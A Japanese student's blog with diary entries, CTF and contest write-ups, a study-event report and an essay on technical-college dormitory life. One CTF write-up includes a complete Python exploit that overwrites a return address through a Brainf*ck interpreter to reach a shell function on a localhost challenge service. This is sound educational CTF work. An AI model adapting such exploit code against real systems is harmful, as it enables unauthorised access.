12/26: 眠い
資料を見ながら実際にDEFCONのheapを解いた。理解するのは時間がかかるけど、やってることはヘッダのsizeをごまかして書き換えたい場所から8byte引いてるだけなんだよな〜 もちろん他の問題だとそうは行かないだろうけど。
pwn問題集のbabyからFunnyBusinessという問題を選んで取り組んでいるのだが、アセンブリがどうも読みづらい。
leave
とかどこにも書いてないし。仕方ないので動的解析の助けを借りてrecv
の辺りから広げていって読むことにした。夕方から結構眠くてアセンブリの内容も頭に入ってこなかったゆえ、radare2のチュートリアルを進めた。今までの左にgdb、右にobjdumpの逆アセンブル結果をvimでメモ書きして、putsの文字列なんかをいちいちx/s
で表示していたのがアホらしくなった。
A journey into Radare 2 – Part 1: Simple crackme – Megabeets
日本語文献が少ないそうなので何か書こうかなぁ。そのうち自然とwrite-upに出現させてそうだ。
民法はおもしろいという本を読み切った。最後の方はあんまりだったけど、中盤まではためになる面白い内容が多かった。「民法への招待」も読んでみたい。学校の図書館はさすがに買ってくれなさそうだ。
英字配列にしてからというものの、記号や数字を打つスピードがさらに遅くなっていて支障を感じていたのでタイピングをやりなおしている。今まではMキーやNキーを親指で押したり、中指でほとんどのキーをカバーしたりしていたのが、薬指や小指を活用するようにした。すると、キーボードの打鍵速度は大して変わらないのに音ゲーの指押しが上手になった。oh...
Xmas Contest 2017 に参加した
AとGの2完。プログラムを書かない問題ばかり解いた。
SATソルバの問題を見てPrologを勉強したくなった。あとで解説見て実装したい。
肝心の競プロらしい問題はサッパリだった。
A: Compressor
2WA出した。
2つのwavファイルからコンプレッサーにかけた後のものを選ぶ問題。
コンプレッサーについてまずは調べる。
http://taira-komori.jpn.org/06compressor.html このページ曰く、
コンプレス(compress)は圧縮する・押し付ける・縮める、という意味です。このエフェクトは波形上の大きな音の部分を下げ、反対 に小さな音の部分を上げて、全体を出来るだけ同じ大きさの音にします。
つまり2つを比べて音圧が狭い範囲に収まっているほうが答え。
Sonic Visualizerを用いてサンプルファイルの波形を見てみる。青い方がコンプレッサーをかけた後、緑が前。たしかにかける前はギザギザしている。
問題のファイルではもう少しわかりづらくなっているが、最大・最小値(赤丸を付けた部分)が0に近くなっているほうがコンプレス後。この画像(11個目のwav)では青い方。
AABAAAABABABBAB
が答え。
G: Maze
A~Zのめんどくさそうな迷路が与えられ、ゴールにたどり着けるものを選ぶ。
手で解くのはつらいので迷路ソルバを探していたところ、GIMPなどの画像編集ソフトで迷路を解く記事を見つけた。
http://www.instructables.com/id/Solving-maze-using-Photoshop-Gimp-Paint-or-any-oth/
これの手順を踏むと以下のようになる。線が迷路の周りをぐるっと1周してしまっているのは解けない迷路、逆に中を通っているのが解ける迷路。
ACEFGHNPQSYZ
が答え。
12/24
クリスマスイブ。肉を食べました。
昨日から取り組んでいたbfを解けたので記事を書いた。そろそろヒープの勉強をしたくなったのでkatagaitai勉強会のスライドで紹介されていたmalloc動画を見ている。結構な分量なのでまだ見終わっていない。
せっかく帰省したことだし昼は図書館に行って本を借りた。Web系の技術書は陳腐化したものが少なくないが、それほど変化が速くないバイナリなどについての本が多く揃っているので便利。たまには志向を変えて新書なんかも借りた。冬休み中に読めるところまで読みたい。
図書館のほうでアンケートがあってので、自由欄に「策謀本を入れてください!」と書いてきた。
Rubyのしくみ入ってるの強いよね pic.twitter.com/QGDCC5GU9l
— 他者との比較を避け、前向きに新年を迎える (@sei0o) 2017年12月24日
Xmas Contest 2017に出た。チームで出てもよかったのだが、それはそれで解ける問題がなくなってしまいそうなので一人で出た。2完。結局コードは1行も使わなかった(は?)。
EDCTF 2013 「bf」 を解いた
問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/
5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。
0x0 + 0x1 - 0x2 > 0x3 < 0x4 [ 0x5 ] 0x6 , 0x7 .
Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…
shell
というピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8
から0x80
だけmemset
されている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>
のたびに4バイトポインタがずれるので、0xc8 / 4 + 1
だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell
関数のある0x8048a6e
に中身を変更するので、もともとの値である0x8048a9d
の差分だけ-
で中の値を操作する。
Exploit
短い〜
import socket, time, os, struct, telnetlib def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack("<I", x) def u(x): return struct.unpack("<I", x)[0] def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() s = connect('localhost', 62000) ### exploit ### retaddr_val = 0x8048a9d retaddr_val_target = 0x8048a6e # shell function delta = retaddr_val - retaddr_val_target payload = '>' * (0xc8 / 4 + 1) payload += '-' * delta payload += '\n' # leak buffer's address # payload = '>' * (0x20 + 1) # payload += '.' s.recv(1024) s.send(payload) interact(s)
CombKansaiに行った #CombKansai
日曜日に梅田で開かれた学生向けIT勉強会のCombKansaiに行ってきました。
自分の一応運営側だったので、参加者の案内などをしました。人が行き交うオフィスビルのフロアでCombKansaiを宣伝してきました。
一部のおばちゃんやサラリーマンの目が釘付けになっていたのできっと次回は人が増えますね。
これを持ってる人に話しかけてください. @sei0o #CombKansai pic.twitter.com/DSt5oGf1eE
— Santa (@santa_sukitoku) 2017年12月17日
詳細に関してはここを見てもらえればと思います。
CombKansaiの運営をやった話 - 好きとは言ったが得意とは言ってない。
個人的には大満足でした。いろんな人に会えてよかったです。
LTの分量が小さかったのと、いろいろ準備不足だった点は次回で改善します。都そばは回避しましょう。
あとはアレですね、LTするときの大阪弁。CombKansaiではいいんですが、CombNafの方に行くことがあれば気を付けないと。一時期埼玉に住んでいたのである程度標準語での会話も可能とはいえ。
また、事前のアンケートで参加者の興味をある程度知ることができればLTする人はやりやすいかなと思いました。「Ruby, ROP, 動的計画法, FFT, Juniper, Blockchain, TouchDesigner ... この中で知っている単語にチェックしてください」といった感じで。
私が一番惹かれたのは一番最後のLTでした。トラコン。ICTSCすごそう。
Ciscoルータが数千円で買えちゃうというのが大きな知見でした。年明けにルータ初心者向けの勉強会があるそうなので参加したいです。知識に見合う実践を補充する良い機会。
3DSCTFに参加した
CombKansaiを挟んでHarekazeから3DSCTFに参加しました。
ForensicとMiscを1問ずつ解きました。GIFと仲良くなった。
ページが凝っていたけど、点数配分が全部500(からのsolved数による減点)であんまり良くないと思った。
Microscope (Misc 487)
フレームを100000以上もつ単色のアニメーションGIFが渡される。微妙に色がことなる黄色と緑が交互に来ているようだ。
黄色や緑が連続する回数がモールス信号みたいになっているのかと思い、色が連続する回数を調べたがバラバラだった。
Microscope(顕微鏡)という名前なので、「ある画像を顕微鏡で見ていった部分部分をフレームにしているのでは?」と考えた。それなら1フレームずつ切り出して結合すればいいのだが、フレームを何枚横につなげるのかがわからない。横幅を1〜100000まで試すと時間がかかるので、黄色と緑を.
, X
に2値化して文字列にすることにした。こうすれば文字列を表示してエディタのウィンドウをリサイズすれば好きな位置で自動改行が試せる。実にアナログ。
GIFの仕様を見ながらこつこつ組んだ。
hex = File.binread('gif.gif').unpack("H*")[0] splitted = hex.split "21f904" # header for each frame header = splitted.shift # remove GIF Header ans = "" splitted.each do |fr| # for each frame lct = fr.index('32003200') if fr[lct+8] == '8' # using Local Color Table if fr[lct+10..lct+11].to_i(16) < 128 # Red value < 128 -> green ans += "." else ans += "X" # yellow end else # not using local color table -> yellow? ans += "X" end end puts ans
これで出力させて、端末のフォントサイズを小さくしいい感じにリサイズすると...?
読めなかったので、GIMPで修正。
これをスキャンするとFLAGが出てくる。
3DS{s0_y0u_kn0w_yur_g1fs}
What The Hex (Forensic 474)
よくわからないバイナリデータが渡される。バイナリエディタで見てみると、a98FIG
という文字列が。ここをGIF89a
に書き換えてみる。
こんな画像が見える。[]
でくくられていることから分かるとおり、これはFLAGではなかった。
他に何かあるかと思い、Global Color Tableの後のnullで埋まった部分を消してみたりした(画像では余計な部分まで選択してしまっているが)。
するとこうなる。でもFLAGじゃない。ファイルを壊しただけだった。
うーんと思ってじっくり読んでみるとIHDR
やGNP
という文字が。このファイルはJPEGとかPNGとかGIFをいっぱいくっつけてシグネチャの部分を書き換えたものだとわかる。また、テキストとして3DS[dddddd]
という文字列が多数入っているのでその中に混じってないか探してみる。
~/c/3/whatthehex $ strings binary.bin | grep '3DS{' 3DS{n0_t3ss3r4ct_7h15_71m3}
FLAGが出た。
せっかくなのでsed
の練習も兼ねてa98FIG
となったりGNP
みたいにひっくり返っているシグネチャをもとにもどしてforemost
に切り出させてみる(手抜き)。
$ sed -e 's/\(..\)/\1\ /g' -e 's/61\ 39\ 38\ 46\ 49\ 47\ /47\ 49\ 46\ 38\ 39\ 61\ /g' -e 's/47\ 4e\ 50\ /50\ 4e\ 47\ /g' -e 's/\ //g' binhex.txt > changed-signature.txt $ cat changed-signature.txt | tr -d '\n' | xxd -r -p > changed-signature.bin $ foremost changed-signature.bin
こんな画像が大量に入ってた。
https://gyazo.com/b73cc54f8d9439605ed57a7ab94a3eac
たのしい潮寮生活
Kosen Advent Calendar 2017 の15日目の記事です。Advent Calendarに参加するのは初めてです。
私@sei0oは明石高専電気情報工学科のキラキラ1年生で、2017年の4月から明石高専の潮寮 (うしおりょう)で生活しています。
高専への入学を検討している中学生や、通学している同級生に寮がどんなところが知ってもらえればと思い、1年生の視点で書きます。1年生の視点で書きます。
高専自体についてはあまり書きません。
https://www.akashi.ac.jp/dormitory/ 公式のドキュメントです。
TL; DR
住めば都
以上です。お読みくださりありがとうございました。
立地・構造
- 校内に設置されているので教室から歩いて3分
- 1, 2, 3年男子寮のA寮(私はここに住んでいるので、ここを中心に書きます)
- 4, 5年, 専攻科などのC寮(よくわかってない)
- 女子寮のB寮
- 国際交流センター?? 留学生がいるみたいです
- 窓からドクターイエローが走るのが見えます
部屋
2人部屋です。私の部屋はキレイな方(要出典)ですが、汚い部屋だと異臭がすることも。異臭は重大なissueです。ガハハ!
クローゼットが設置されていますが、鍵はかかりません。財布や貴重品は机の下の引き出しに入れれば鍵をかけることができます。
冷蔵庫は先輩のものを使わせてもらっています。備え付けではありません。当然ですがモニタも私物です。
エアコンはあるので、冬でも夏でも快適です。
本棚にはRJ-45 モジュラージャックがついています。A寮に有線LANはありません(APから引っ張ってきて無理矢理有線にする人もいるけど)。無線LANもありますが、平均して2日に1回は繋がらなくなります。
入寮直後の2週間ぐらいは学内の無線LANが利用できずに困りました。ファイアウォールがあるので、sshがそのまま使えず戸惑った記憶も。
生活
入寮直後は同室の2年生の先輩や指導寮生(3, 4, 5年生から数人がなる)の指示に従いつつルールに慣れることになります。
2018/2/1 追記: これは当時のメモです。
ただでさえいろいろと変化が起こり落ち着かない入学後ですが、寮は寮でイベントがあります。イベントの内容を事細かに書いてしまうのもアレなので、軽くリストする程度にします。
インパクトの大きいイベントが多いからか、4月は時間がすぎるのが遅く感じました。めちゃめちゃ遅い。
慣れてくる頃の5月6月は一瞬、気づけば中間テストみたいな感じです。
そういえばおとといの12/13もクリスマス会がありました。
家での生活から一番変化した点といえば、やはりあいさつではないでしょうか。
入寮時のオリエンテーションでしっかり指導されます。終わってから泣きそうになっているのもいました。
寮の廊下・トイレ・外で先輩が目に入ればあいさつをします。夜は顔が見えないので人の影があればとりあえずあいさつをします。
階段で移動するときには隣にある補食室・洗面所を確認し、先輩がいればあいさつをします。
寮の外でも、廊下で先輩とすれ違うとき礼をします。
食堂に入る時・出る時も礼(時期によってはあいさつ)をします。
加えて、1年生は最初の2ヶ月程度(運が悪ければ半年らしい)、大声での挨拶をしなければなりません。それが終わってもときどき大声挨拶は復活します。喉をダメにして声が変わってしまった人もいるらしいです。
今年の高専祭で1Eの「高専病棟」という展示でも、リスクを負って終盤に大声挨拶役が配置されました。
私は中学のころに高専祭の時に寮に寄ったのですが、聞こえてくる叫び声に驚いた記憶があります。
食事は朝昼晩と食堂でとることができます。休日前後は欠食をすれば食費は来月に繰り越されます。
今年の1年寮生は多いので、立って席が空くまで待機することもありました(学年・男女別にエリアが割り当てられる。が、部員等でまとまって食事をすることがよくある)。
どうしても味はワンパターンになりますし、量も多いとは言えません。かといってクソ不味いわけでもないです。同級生曰く「化学調味料の味がする」そうですが、私にはさっぱりわかりません。
風呂は棟の外にあります。ここでも入る時・出る時はあいさつ/礼をします。17:30~21:00まで入れるとはいえ、20:00あたりはよく定員オーバーになるので外で喋りながら数十分待機することもありました(今は1年の定員が拡張されたので緩和されたっぽい)。
1つの階に洗濯機・乾燥機は合わせて6台ぐらいあります。
1,2年生の消灯は24:00です。しかし、理由が正当と認められれば延長できます。たとえば、
- 大量の課題
- inochi学生フォーラムなどの学外でのプロジェクト
- ロボコンの作業
- codeforces, CSAcademy SRMとかCTFもきっと大丈夫
鍵を閉めてブラインドを閉じ、照明を最小限にしてバレないようにしつつ徹夜する猛者もいます。
また、1年男子は寮生当番/ゴミ当番という役目が与えられ、101号室から1週間交代で回ってきます。消灯を破ったり、あいさつをサボったりして罰として数週間寮生当番をさせられる、という同級生は何人かいます。
月に1度集団回収があり、夜に1年男子は全員でビン・カンを分別したりダンボールをひもでくくったりします。ビール缶と魔剤缶の多いこと多いこと。くさい...
平日の朝と夜、休日の夜には点呼があります。私は点呼にちゃんと出るのが苦手です。
- 周辺施設
また、女子寮は22:00をすぎると出入り口にロックがかかり出られません。普段の出入りにも取り付けられた静脈認証を利用しているとのことです(同級生談)。1年生でも消灯はなく、談話室も自由に利用できます。ちょっとうらやましい(隣の芝は青いので)。
人間関係
同級生・先輩・後輩(いませんが)と近い距離で過ごすので、自然と親密になります。苦手な人が近くにいればもっと苦手になります。
自室が使えなかったり自室にいたくないときは、同級生や先輩の部屋で雑談したり精進したり徹夜でバイナリ読んだり女装したり寝たりします。たのしい! 他人の部屋で寝るのは思わぬトラブルを招きかねない
慣れというのは強いもので、上に示したあいさつなどは今ではさほど苦痛に感じません。3週間もすれば慣れます。
私のクラスでも寮生は寮生で固まる傾向にあります。
おわり
文章を見返したらTL; DRだけで良い気がしてきました。
他の高専寮はどうなのか気になります。
キャパシティがあるところは全寮制を敷くこともあるそうですが...
次は@aile_wing_さんの「迫真!高専推薦入試の裏技with学力入試」です。よろしくお願いします!
2018/12/06 追記: 続編(?)が出ました! 読んでね